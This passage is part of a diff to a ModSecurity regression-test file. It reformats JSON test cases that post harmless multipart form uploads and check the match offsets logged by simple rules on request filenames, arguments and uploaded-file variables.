"\r\n", + "This is a very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "o6,5v5,11t:trim", + "http_code": 200 + }, + "rules": [ "SecRequestBodyAccess On", "SecRule REQUEST_FILENAME \"/file\" \"id:1,phase:3,pass,t:trim,msg:'s'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_FILENAME 2", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/wheee/f%20i%20l%20e%20?something else", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" - ] - }, - "expected":{ - "error_log":"o6,8v5,23t:trim" - }, - "rules":[ + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_FILENAME 2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "531", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/wheee/f%20i%20l%20e%20?something else", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "o6,8v5,23t:trim", + "http_code": 200 + }, + "rules": [ "SecRequestBodyAccess On", "SecRule REQUEST_FILENAME \"/f i l e\" \"id:1,phase:3,pass,t:trim,msg:'s'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_FILENAME 3", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/wheee/f%20i%20l%20e%20", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" - ] - }, - "expected":{ - "error_log":"o6,8v5,23t:trim" - }, - "rules":[ + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_FILENAME 3", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "531", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/wheee/f%20i%20l%20e%20", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "o6,8v5,23t:trim", + "http_code": 200 + }, + "rules": [ "SecRequestBodyAccess On", "SecRule REQUEST_FILENAME \"/f i l e\" \"id:1,phase:3,pass,t:trim,msg:'s'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS/Multipart 1", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/wheee/f%20i%20l%20e%20", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file2.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" - ] - }, - "expected":{ - "error_log":"o0,4v306,4t:trim" - }, - "rules":[ + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS/Multipart 1", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "518", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/wheee/f%20i%20l%20e%20", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file2.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "o0,4v306,4t:trim", + "http_code": 200 + }, + "rules": [ "SecRequestBodyAccess On", "SecRule ARGS \"test\" \"id:1,phase:3,pass,t:trim,msg:'s'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS/Multipart 2", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/wheee/f%20i%20l%20e%20", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name2\"", - "", - "test2", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file2.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" - ] - }, - "expected":{ - "error_log":"o0,5v402,5t:trim" - }, - "rules":[ + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS/Multipart 2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "615", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/wheee/f%20i%20l%20e%20", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name2\"\n", + "\n", + "test2\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file2.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "o0,5v402,5t:trim", + "http_code": 200 + }, + "rules": [ "SecRequestBodyAccess On", "SecRule ARGS \"test2\" \"id:1,phase:3,pass,t:trim,msg:'s'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - FILES", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/wheee/f%20i%20l%20e%20", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name2\"", - "", - "test2", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"fiasdfasdfledata\" ", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" - ] - }, - "expected":{ - "error_log":"o0,16v680,20t:trim" - }, - "rules":[ + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - FILES", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "624", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/wheee/f%20i%20l%20e%20", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name2\"\n", + "\n", + "test2\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"fiasdfasdfledata\" \n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "o0,16v680,20t:trim", + "http_code": 200 + }, + "rules": [ "SecRequestBodyAccess On", "SecRule FILES \"small_text_file2\" \"id:1,phase:3,pass,t:trim,msg:'s'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - FILES", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/wheee/f%20i%20l%20e%20", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name2\"", - "", - "test2", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"fiasdfasdfledata\" ", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" - ] - }, - "expected":{ - "error_log":"o0,16v512,20t:trim" - }, - "rules":[ + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - FILES", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "624", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/wheee/f%20i%20l%20e%20", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name2\"\n", + "\n", + "test2\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"fiasdfasdfledata\" \n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "o0,16v512,20t:trim", + "http_code": 200 + }, + "rules": [ "SecRequestBodyAccess On", "SecRule FILES \"small_text_file1\" \"id:1,phase:3,pass,t:trim,msg:'s'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - FILES_NAMES", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/wheee/f%20i%20l%20e%20", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name2\"", - "", - "test2", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"fiasdfasdfledata\" ", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" - ] - }, - "expected":{ - "error_log":"o0,8o0,8v491,8t:trimo0,16o0,16v709,16t:trim" - }, - "rules":[ + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - FILES_NAMES", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "624", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/wheee/f%20i%20l%20e%20", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name2\"\n", + "\n", + "test2\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"fiasdfasdfledata\" \n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "o0,8o0,8v491,8t:trimo0,16o0,16v709,16t:trim", + "http_code": 200 + }, + "rules": [ "SecRequestBodyAccess On", "SecRule FILES_NAMES \"(fiasdfasdfledata|filedata)\" \"id:1,phase:3,pass,t:trim,msg:'s'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - FILES_SIZES 1", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/wheee/f%20i%20l%20e%20", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name2\"", - "", - "test2", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"fiasdfasdfledata\" ", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" - ] - }, - "expected":{ - "error_log":"v560,32t:trim" - }, - "rules":[ + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - FILES_SIZES 1", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "624", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/wheee/f%20i%20l%20e%20", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name2\"\n", + "\n", + "test2\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"fiasdfasdfledata\" \n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "v560,32t:trim", + "http_code": 200 + }, + "rules": [ "SecRequestBodyAccess On", "SecRule FILES_SIZES:filedata \"@gt 0\" \"id:1,phase:3,pass,t:trim,msg:'s'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - FILES_SIZES 2", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/wheee/f%20i%20l%20e%20", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name2\"", - "", - "test2", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"fiasdfasdfledata\" ", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" - ] - }, - "expected":{ - "error_log":"v754,38t:trim" - }, - "rules":[ + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - FILES_SIZES 2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "624", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/wheee/f%20i%20l%20e%20", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name2\"\n", + "\n", + "test2\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"fiasdfasdfledata\" \n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "v754,38t:trim", + "http_code": 200 + }, + "rules": [ "SecRequestBodyAccess On", "SecRule FILES_SIZES:fiasdfasdfledata \"@gt 0\" \"id:1,phase:3,pass,t:trim,msg:'s'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - FILES_COMBINED_SIZE", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/wheee/f%20i%20l%20e%20", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name2\"", - "", - "test2", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"fiasdfasdfledata\" ", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" - ] - }, - "expected":{ - "error_log":"v560,32v754,38t:trim" - }, - "rules":[ + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - FILES_COMBINED_SIZE", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "624", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/wheee/f%20i%20l%20e%20", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name2\"\n", + "\n", + "test2\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"fiasdfasdfledata\" \n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "v560,32v754,38t:trim", + "http_code": 200 + }, + "rules": [ "SecRequestBodyAccess On", "SecRule FILES_COMBINED_SIZE \"@gt 0\" \"id:1,phase:3,pass,t:trim,msg:'s'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - FILES_TMP_CONTENT 1", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/wheee/f%20i%20l%20e%20", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name2\"", - "", - "test2", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"fiasdfasdfledata\" ", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" - ] - }, - "expected":{ - "error_log":"o8,7v754,38t:trim" - }, - "rules":[ + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - FILES_TMP_CONTENT 1", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "624", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/wheee/f%20i%20l%20e%20", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name2\"\n", + "\n", + "test2\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"fiasdfasdfledata\" \n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "o8,7v754,38t:trim", + "http_code": 200 + }, + "rules": [ 